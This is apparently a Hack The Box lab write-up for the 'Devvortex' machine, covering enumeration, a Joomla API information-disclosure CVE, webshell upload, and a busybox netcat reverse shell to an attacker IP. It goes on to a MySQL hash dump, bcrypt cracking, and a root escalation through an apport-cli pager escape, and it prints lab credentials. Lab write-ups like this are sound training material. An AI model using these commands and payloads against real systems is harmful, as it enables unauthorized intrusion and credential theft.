Devvortex — Hack The Box

InfoValue
OSLinux (Ubuntu 20.04.6 LTS)
DifficultyEasy
Hostnamedevvortex.htb / dev.devvortex.htb
ServicesSSH (22), HTTP/Nginx (80)

Enumeration

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA nmap.scan <TARGET_IP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/

Open ports:

  • 22/tcp — OpenSSH 8.2p1 Ubuntu
  • 80/tcp — Nginx 1.18.0 → redirect to http://devvortex.htb/

Directory Bruteforce — Main Site

ffuf -u http://devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -o scan/ffuf-dirs.json -of json

Nothing relevant — static site with HTML pages (about.html, contact.html, do.html).

VHost Enumeration — The Key

Subdomain Fuzzing vs VHost Fuzzing

These are two different techniques that solve different problems:

Subdomain Fuzzing (DNS)VHost Fuzzing (HTTP)
How it worksQueries a DNS server to find A/CNAME records of subdomains (dig, subfinder, amass, dnsrecon)Sends HTTP requests to the same IP while varying the Host: header (ffuf -H "Host: FUZZ.domain")
What’s neededA DNS server that responds for the target domainA web server that uses virtual hosting (routing based on Host header)
When it worksWhen the target has a real DNS server with configured recordsWhen the web server (Nginx, Apache) has multiple server blocks/vhosts on the same IP
In HTBDoes not work — there is no real DNS server, we use /etc/hostsWorks — Nginx routes requests to the correct vhost based on the Host header

On this machine, dev.devvortex.htb cannot be discovered via DNS. It is an Nginx virtual host: same IP, same server, but different content depending on the Host header. The only way to find it is VHost fuzzing.

ffuf -H "Host: FUZZ.devvortex.htb" -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb/ -fs <baseline_size>

Found: dev.devvortex.htb

Directory Bruteforce — dev.devvortex.htb

dirsearch -u http://dev.devvortex.htb/ -e php,html,txt,js,json,xml,bak,old,asp,aspx -o scan/dirsearch.txt

Relevant results:

  • /administrator/ → Joomla admin panel (12KB)
  • /api/ → Joomla API endpoint

The admin panel confirms: Joomla CMS.


Foothold — CVE-2023-23752 (Joomla API Information Disclosure)

Vulnerability

Joomla 4.0.0 - 4.2.7 — The Joomla REST API exposes endpoints that should require authentication, but the public=true parameter bypasses the checks. This allows an unauthenticated attacker to read the application configuration (including DB credentials) and the list of users.

Ref: https://nvd.nist.gov/vuln/detail/CVE-2023-23752

User Enumeration

GET /api/index.php/v1/users?public=true
{
  "data": [
    {"id": 649, "username": "lewis", "email": "lewis@devvortex.htb", "group_names": "Super Users"},
    {"id": 650, "username": "logan", "email": "logan@devvortex.htb", "group_names": "Registered"}
  ]
}

Configuration Leak

GET /api/index.php/v1/config/application?public=true

DB credentials found:

FieldValue
DB Userlewis
DB PassP4ntherg0t1n5r3c0n##
DB Namejoomla
DB Prefixsd4fg_
DB Hostlocalhost

Root cause: The database password is the same as the Joomla admin user lewis.

Admin Login + Webshell Upload

Login to /administrator/ with lewis / P4ntherg0t1n5r3c0n## — access as Super User.

Upload of a malicious webshell plugin (p0dalirius/Joomla-webshell-plugin):

curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}

Reverse Shell

Try various reverse shells — the system uses sh (not bash) and OpenBSD netcat (without -c/-e):

PayloadResult
bash -i >& /dev/tcp/...Syntax error — sh does not support /dev/tcp
nc -c /bin/bashinvalid option -- 'c' — OpenBSD nc
nc -e /bin/bashinvalid option -- 'e' — OpenBSD nc
rm /tmp/f;mkfifo...Syntax error — URL encoding broken on >&

Checked if BusyBox is available (it has a netcat with -e):

curl -X POST '...' --data "action=exec&cmd=busybox"
# → BusyBox v1.30.1 — nc present with -e support!

Working Payload:

# Listener (attacker):
nc -nvlp 443
 
# Via webshell:
curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' \
  --data "action=exec&cmd=busybox nc <ATTACKER_IP> 443 -e /bin/bash"

busybox nc

When the system nc is the OpenBSD version (no -c/-e), always check busybox. The BusyBox version of netcat supports -e for shell exec — it’s a reliable fallback already present on many Ubuntu/Debian systems.

Shell Stabilization

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
stty rows 38 columns 116

User — logan

Enumeration as www-data

cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# logan:x:1000:1000:,,,:/home/logan:/bin/bash
 
cat /home/logan/user.txt
# Permission denied — user.txt readable only by logan
 
cat /var/www/dev.devvortex.htb/configuration.php
# Confirms DB credentials

MySQL — Dump Hash

mysql -u lewis -p
# Password: P4ntherg0t1n5r3c0n##
use joomla;
select * from sd4fg_users;
UsernameHash
lewis$2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

hashcat — Crack bcrypt

echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash.txt
hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 3200
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho
Status...........: Cracked

Cracked: logantequieromucho

SSH as logan

ssh logan@devvortex.htb
# Password: tequieromucho

User flag obtained.


Privilege Escalation — CVE-2023-1326 (apport-cli)

sudo -l

logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

CVE-2023-1326 — apport-cli Pager Escape

Vulnerability

apport-cli 2.26.0 and earlier — When invoked with sudo, apport-cli uses less as a pager to display reports. Since less allows shell escape via the ! command, a user can obtain a root shell.

Ref: https://nvd.nist.gov/vuln/detail/CVE-2023-1326 PoC: https://github.com/diego-tella/CVE-2023-1326-PoC

Root cause: apport-cli invokes an interactive pager (less) inheriting root privileges from sudo. less allows execution of arbitrary commands with !command, providing a shell with the parent process’s permissions — root.

Exploitation

sudo /usr/bin/apport-cli -f
# 1: Display (X.org)
# 2: Freezes or hangs during boot or usage
# (press key to continue)
# V: View report
# → opens less as root
# type: !/bin/bash
root@devvortex:/home/logan# whoami
root

Root flag obtained.


Attack Chain Summary

Nmap → devvortex.htb (redirect) → VHost fuzzing → dev.devvortex.htb

  Joomla CMS → CVE-2023-23752 (API info disclosure) → DB creds lewis

  Admin login → Webshell plugin upload → RCE www-data

  busybox nc reverse shell → Shell stabilization

  MySQL dump → bcrypt hash logan → hashcat -m 3200 → tequieromucho

  SSH logan → user.txt

  sudo apport-cli → CVE-2023-1326 pager escape → root
 
## Lessons Learned
 
- **Subdomain vs VHost fuzzing:** In environments without real DNS (HTB, internal labs), subdomain fuzzing via DNS is useless. VHost fuzzing via HTTP (`Host: FUZZ.domain`) is the only way to discover virtual hosts on the same IP. This distinction is fundamental.
- **busybox as fallback:** When `nc` is the OpenBSD version (without `-c`/`-e`), `busybox nc` is a reliable alternative already present on many systems.
- **API info disclosure:** CMS REST APIs (Joomla, WordPress) are often a goldmine of information — always enumerate them.
- **hashcat autodetect:** If `-m` is not specified, hashcat attempts autodetect but asks for confirmation. For bcrypt (`$2y$`), always use `-m 3200`.
- **Pager escape:** Any tool that invokes a pager (`less`, `more`, `man`) as root is a potential privilege escalation vector — always check GTFOBins.
 
## Timeline
 
- **Total time:** ~2 hours
- **Where I spent most time:** Reverse shell — multiple attempts with `nc` and bash before finding `busybox nc`
- **Subjective difficulty:** 4/10